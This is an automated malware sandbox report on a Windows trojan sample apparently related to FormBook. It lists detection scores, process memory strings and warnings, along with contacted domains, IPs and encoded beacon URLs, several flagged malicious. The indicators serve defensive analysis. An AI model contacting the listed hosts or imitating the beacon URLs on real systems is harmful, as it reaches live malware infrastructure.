Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2rI5YEg7uo.exe	55%	ReversingLabs	Win32.Trojan.AutoitInject
2rI5YEg7uo.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/youporn-p/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/rokettube-p/	0%	Avira URL Cloud	safe
https://http.gn301.com:12345/?u=	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/turk-porno-p/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/hakkimizda/	0%	Avira URL Cloud	safe
http://www.cctv9.rest/tkld/?pP=lN1XaBnjYJpnHJKh+dUgGl9J1dVl/InvxEIaS2ex1IsP6d0M7u7lW/cxrBhQKPDqRUitZ68i9deVdhSWVcPS8XgZ9KQJuNNzg3RG5Tpue4Xs0jPlyg==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/xhamster-p/	0%	Avira URL Cloud	safe
http://www.cqghwamc.top/ojgg/	0%	Avira URL Cloud	safe
http://www.86350.xyz/gt2u/	100%	Avira URL Cloud	malware
http://www.bidiez.com/01ng/	0%	Avira URL Cloud	safe
http://www.capecuvee.net/6d0c/?pP=Prf2hkUDRCNRkbO6h1ZvuSCWzJC3nAUQNw+uVaJXhnNhpjXmKYMu0gYsz+KbwUAYDmjdU3Z9SN0FqM88eMKFHxU1C2mZD7ZZKveERTUpO74f3LPupQ==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
http://www.setsea.info/pcp0/?pP=tR3DS0LuS2f0VExVH8LaK1w46Ipgay9n7W+aiVaSP0dZAAQPwCM3dLWh9pnT07p7OFwQxfFg5dTV9LShhKhHjPzJDtJzWpeBHCcw/sC6fH5hlbdNsw==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
http://www.capecuvee.net/6d0c/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/dmca-copyright/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/iletisim/	0%	Avira URL Cloud	safe
https://pooxo.evooli.com/wp-json/	0%	Avira URL Cloud	safe
http://www.cctv9.rest/tkld/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/s-s-s/	0%	Avira URL Cloud	safe
https://pooxo.evooli.com/comments/feed/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/	0%	Avira URL Cloud	safe
http://www.arcare.partners/1z60/	100%	Avira URL Cloud	malware
http://www.bidiez.com/01ng/?pP=DKK6a8PuthPc5ErrRrUbqhrmbP0bjeSkTcQU4x169SXHcyb2o6vFTIaCYUtclW/lDJA6K99MZF0w0Rv4V8fYsQ/Owb2oIOoLiZkxZhnBqViSzSDNrw==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
http://www.setsea.info/pcp0/	0%	Avira URL Cloud	safe
http://www.arcare.partners/1z60/?pP=yD9eLuYJ5X5bnWq0wX3hmMocNx79K6/nczsdQvd8EYCoec4AYa4RadmXzB7lKk4qdyMCMpN/ECD26HxDmJI715RAp3oQVaTVCLsh5mX2NgfOqD/K0A==&UJO=A6MH4FUp	100%	Avira URL Cloud	malware
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/free-porn-p/	0%	Avira URL Cloud	safe
http://www.evoolixyppuk.shop/7gfa/?pP=OC/NqFuXSoQKcxJzIwbC8gc6YWk63HA88JkIsR5MBtbsuoT1qNc3mE+usci2f4e+0fIXV/Px1LgbGc4SbpFIftMOxDoszWQURSPAVqq521dqxxqHUw==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
https://evoolixypgnb.shop/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/liseli-ifsa-p/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/porno-izle-p/	0%	Avira URL Cloud	safe
https://pooxo.evooli.com/feed/	0%	Avira URL Cloud	safe
http://www.stopgazviganais.org/9jt8/?pP=8a+3HSfwCNVsEt212CXMt0mt/2JPDfnH/xSV9JAxfMtg6n4EmM73a+EnCckDJOBVsSjgWFsc3csyb0L4cEbYMoHK4HiTfxbKFAt5P4lfA5zdi62kPw==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
http://www.evoolixyppuk.shop/7gfa/	0%	Avira URL Cloud	safe
http://www.bidiez.com	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com	0%	Avira URL Cloud	safe
http://www.ninesquare.games/g7n9/	0%	Avira URL Cloud	safe
http://www.ninesquare.games/g7n9/?pP=tEpII7mNQvDpUYHRp1Imt3Ai8Z2daLocu0u0zFD4hZYidtSVe+a4H5ULhmiF211nuMw1QFTOTrSwIhKto0WIOxAfod6tyHKhsxJNfUmHw8PuVagvUw==&UJO=A6MH4FUp	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/hd-porno-p/	0%	Avira URL Cloud	safe
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/turbanli-porno-p/	0%	Avira URL Cloud	safe
https://www.mothersalwaysright.com/9jt8/?pP=8a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.cctv9.rest	114.134.188.182	true	true	unknown
www.stopgazviganais.org	104.21.12.211	true	false	unknown
capecuvee.net	3.33.130.190	true	true	unknown
www.evoolixyppuk.shop	188.114.96.3	true	true	unknown
www.ooossshhh.shop	8.210.114.150	true	false	unknown
www.setsea.info	203.161.41.204	true	true	unknown
arcare.partners	3.33.130.190	true	true	unknown
huayang.302.gn301.xyz	107.148.177.200	true	true	unknown
bidiez.com	3.33.130.190	true	true	unknown
ninesquare.games	3.33.130.190	true	true	unknown
www.cqghwamc.top	221.128.225.57	true	true	unknown
www.capecuvee.net	unknown	unknown	true	unknown
www.ninesquare.games	unknown	unknown	true	unknown
www.86350.xyz	unknown	unknown	true	unknown
www.arcare.partners	unknown	unknown	true	unknown
www.bidiez.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.cctv9.rest/tkld/?pP=lN1XaBnjYJpnHJKh+dUgGl9J1dVl/InvxEIaS2ex1IsP6d0M7u7lW/cxrBhQKPDqRUitZ68i9deVdhSWVcPS8XgZ9KQJuNNzg3RG5Tpue4Xs0jPlyg==&UJO=A6MH4FUp	true	Avira URL Cloud: safe	unknown
http://www.cqghwamc.top/ojgg/	true	Avira URL Cloud: safe	unknown
http://www.86350.xyz/gt2u/	true	Avira URL Cloud: malware	unknown
http://www.bidiez.com/01ng/	true	Avira URL Cloud: safe	unknown
http://www.capecuvee.net/6d0c/	true	Avira URL Cloud: safe	unknown
http://www.capecuvee.net/6d0c/?pP=Prf2hkUDRCNRkbO6h1ZvuSCWzJC3nAUQNw+uVaJXhnNhpjXmKYMu0gYsz+KbwUAYDmjdU3Z9SN0FqM88eMKFHxU1C2mZD7ZZKveERTUpO74f3LPupQ==&UJO=A6MH4FUp	true	Avira URL Cloud: safe	unknown
http://www.setsea.info/pcp0/?pP=tR3DS0LuS2f0VExVH8LaK1w46Ipgay9n7W+aiVaSP0dZAAQPwCM3dLWh9pnT07p7OFwQxfFg5dTV9LShhKhHjPzJDtJzWpeBHCcw/sC6fH5hlbdNsw==&UJO=A6MH4FUp	true	Avira URL Cloud: safe	unknown
http://www.cctv9.rest/tkld/	true	Avira URL Cloud: safe	unknown
http://www.arcare.partners/1z60/	true	Avira URL Cloud: malware	unknown
http://www.bidiez.com/01ng/?pP=DKK6a8PuthPc5ErrRrUbqhrmbP0bjeSkTcQU4x169SXHcyb2o6vFTIaCYUtclW/lDJA6K99MZF0w0Rv4V8fYsQ/Owb2oIOoLiZkxZhnBqViSzSDNrw==&UJO=A6MH4FUp	true	Avira URL Cloud: safe	unknown
http://www.evoolixyppuk.shop/7gfa/?pP=OC/NqFuXSoQKcxJzIwbC8gc6YWk63HA88JkIsR5MBtbsuoT1qNc3mE+usci2f4e+0fIXV/Px1LgbGc4SbpFIftMOxDoszWQURSPAVqq521dqxxqHUw==&UJO=A6MH4FUp	true	Avira URL Cloud: safe	unknown
http://www.setsea.info/pcp0/	true	Avira URL Cloud: safe	unknown
http://www.arcare.partners/1z60/?pP=yD9eLuYJ5X5bnWq0wX3hmMocNx79K6/nczsdQvd8EYCoec4AYa4RadmXzB7lKk4qdyMCMpN/ECD26HxDmJI715RAp3oQVaTVCLsh5mX2NgfOqD/K0A==&UJO=A6MH4FUp	true	Avira URL Cloud: malware	unknown
http://www.evoolixyppuk.shop/7gfa/	true	Avira URL Cloud: safe	unknown
http://www.stopgazviganais.org/9jt8/?pP=8a+3HSfwCNVsEt212CXMt0mt/2JPDfnH/xSV9JAxfMtg6n4EmM73a+EnCckDJOBVsSjgWFsc3csyb0L4cEbYMoHK4HiTfxbKFAt5P4lfA5zdi62kPw==&UJO=A6MH4FUp	false	Avira URL Cloud: safe	unknown
http://www.ninesquare.games/g7n9/	true	Avira URL Cloud: safe	unknown
http://www.ninesquare.games/g7n9/?pP=tEpII7mNQvDpUYHRp1Imt3Ai8Z2daLocu0u0zFD4hZYidtSVe+a4H5ULhmiF211nuMw1QFTOTrSwIhKto0WIOxAfod6tyHKhsxJNfUmHw8PuVagvUw==&UJO=A6MH4FUp	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.evooli.com/#logo	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/youporn-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/rokettube-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://http.gn301.com:12345/?u=	choice.exe, 00000005.00000002.3292579708.0000000004DF6000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000003A66000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.evooli.com/	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.youtube.com/c/funzikporno	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://gmpg.org/xfn/11	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/hakkimizda/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wprediscache.com	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/turk-porno-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/xhamster-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	choice.exe, 00000005.00000002.3292579708.0000000005762000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000043D2000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/iletisim/	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/dmca-copyright/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.evooli.com/logo1.png	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo.evooli.com/wp-json/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/s-s-s/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.evooli.com/#organization	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo.evooli.com/comments/feed/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/free-porn-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.w.org/	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.evooli.com/#website	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://schema.org	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://evoolixypgnb.shop/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/liseli-ifsa-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://schema.org/	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.instagram.com/evoolicom	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo.evooli.com/feed/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.evooli.com/wp-content/uploads/2019/12/logo.jpg	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/porno-izle-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com	vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bidiez.com	vuEbrnedVG.exe, 00000006.00000002.3293471787.000000000598D000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.evooli.com/wp-admin/ajax.php	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.evooli.com/?s=	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.evooli.com/wp-json/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.evooli.com/wp-content/themes/funzporno/ajax.php	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.mothersalwaysright.com/9jt8/?pP=8a	choice.exe, 00000005.00000002.3292579708.0000000004C64000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.00000000038D4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2032653948.00000000229E4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/hd-porno-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pooxo-evooli-com.cdn.ampproject.org/c/s/pooxo.evooli.com/turbanli-porno-p/	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	choice.exe, 00000005.00000002.3294696425.000000000743E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/evoolicom	choice.exe, 00000005.00000002.3292579708.00000000058F4000.00000004.10000000.00040000.00000000.sdmp, vuEbrnedVG.exe, 00000006.00000002.3291560197.0000000004564000.00000004.00000001.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
114.134.188.182	www.cctv9.rest	Cambodia	45429	CST-AS-APCAMBODIANSINGMENGTELEMEDIACOLTDKH	true
221.128.225.57	www.cqghwamc.top	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	true
188.114.96.3	www.evoolixyppuk.shop	European Union	13335	CLOUDFLARENETUS	true
104.21.12.211	www.stopgazviganais.org	United States	13335	CLOUDFLARENETUS	false
107.148.177.200	huayang.302.gn301.xyz	United States	18013	ASLINE-AS-APASLINELIMITEDHK	true
203.161.41.204	www.setsea.info	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
3.33.130.190	capecuvee.net	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1550203
Start date and time:	2024-11-06 15:22:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2rI5YEg7uo.exe renamed because original name is a hash value
Original Sample Name:	5432ecfa629e847fc7d82d4d006e5aa0d805088ab31e3a75d0813f902ed66576.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@14/7
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 90% Number of executed functions: 42 Number of non-executed functions: 318
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2rI5YEg7uo.exe

Simulations

Behavior and APIs

Time	Type	Description
09:24:24	API Interceptor	6166645x Sleep call for process: choice.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
114.134.188.182	mBms4I508x.exe	Get hash	malicious	FormBook	Browse	www.cctv9.rest/rhml/
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	www.cctv9.rest/2m7p/
	#GtantTTcopy.exe	Get hash	malicious	FormBook	Browse	www.cctv9.rest/n990/
	NEW INVOICE.exe	Get hash	malicious	FormBook	Browse	www.cctv9.rest/n990/
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.cctv9.rest/s7c9/
221.128.225.57	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	www.cqghwamc.top/su8x/
	Re property pdf.exe	Get hash	malicious	FormBook	Browse	www.cqghwamc.top/90ie/
	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	www.cqghwamc.top/su8x/
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	www.cqghwamc.top/84h5/
188.114.96.3	createdbestthingswithgoodnewswithgreatfriendship.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	paste.ee/d/PAg0l
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/O7tfWEfj/download
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/agaq/
	https://www.imap.ne.jp/banner_click/add/20/1/?a&url=http://uniteseoul.com	Get hash	malicious	HTMLPhisher	Browse	uniteseoul.com/
	ffsBbRe8UN.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/sp1b/
	09Iz0ja549.exe	Get hash	malicious	FormBook	Browse	www.evoolixyppuk.shop/t98t/
	nCYUA8nqsg.exe	Get hash	malicious	FormBook	Browse	www.obuvmaster.website/l3kr/
	mBms4I508x.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/wgog/
	PO-000172483.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/2b9b/
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse	geinf0.icu/TL341/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.stopgazviganais.org	Re property pdf.exe	Get hash	malicious	FormBook	Browse	172.67.196.90
www.cctv9.rest	mBms4I508x.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	VkTNb6p288.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	#GtantTTcopy.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	NEW INVOICE.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	114.134.188.182
www.evoolixyppuk.shop	09Iz0ja549.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
www.setsea.info	Re property pdf.exe	Get hash	malicious	FormBook	Browse	203.161.41.204
www.setsea.info	z7N__MERODEORDENDECOMPRANO8478PDF.exe	Get hash	malicious	FormBook	Browse	203.161.41.204
huayang.302.gn301.xyz	Bill Of Lading_MEDUVB935991.pdf.exe	Get hash	malicious	FormBook	Browse	107.148.177.200
	AL HAYAT DUBAI UAE PRODUCTION RFQ 2024.exe	Get hash	malicious	FormBook	Browse	172.247.44.157
	PO#001498.exe	Get hash	malicious	FormBook	Browse	107.148.177.200
	Electronic Order.exe	Get hash	malicious	FormBook	Browse	154.222.238.52
	Inquiry PR#27957.bat.exe	Get hash	malicious	FormBook	Browse	154.12.34.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	yakuza.sh.elf	Get hash	malicious	Unknown	Browse	221.192.39.39
	yakuza.x86.elf	Get hash	malicious	Unknown	Browse	60.28.46.65
	yakuza.mipsel.elf	Get hash	malicious	Unknown	Browse	222.163.96.248
	yakuza.arm5.elf	Get hash	malicious	Unknown	Browse	180.95.227.68
	h0r0zx00x.spc.elf	Get hash	malicious	Mirai	Browse	112.229.131.26
	h0r0zx00x.x86.elf	Get hash	malicious	Mirai	Browse	112.224.210.216
	IGz.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	110.18.182.233
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	175.22.26.196
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	101.72.101.178
	x86_32.elf	Get hash	malicious	Mirai, Gafgyt	Browse	27.212.245.149
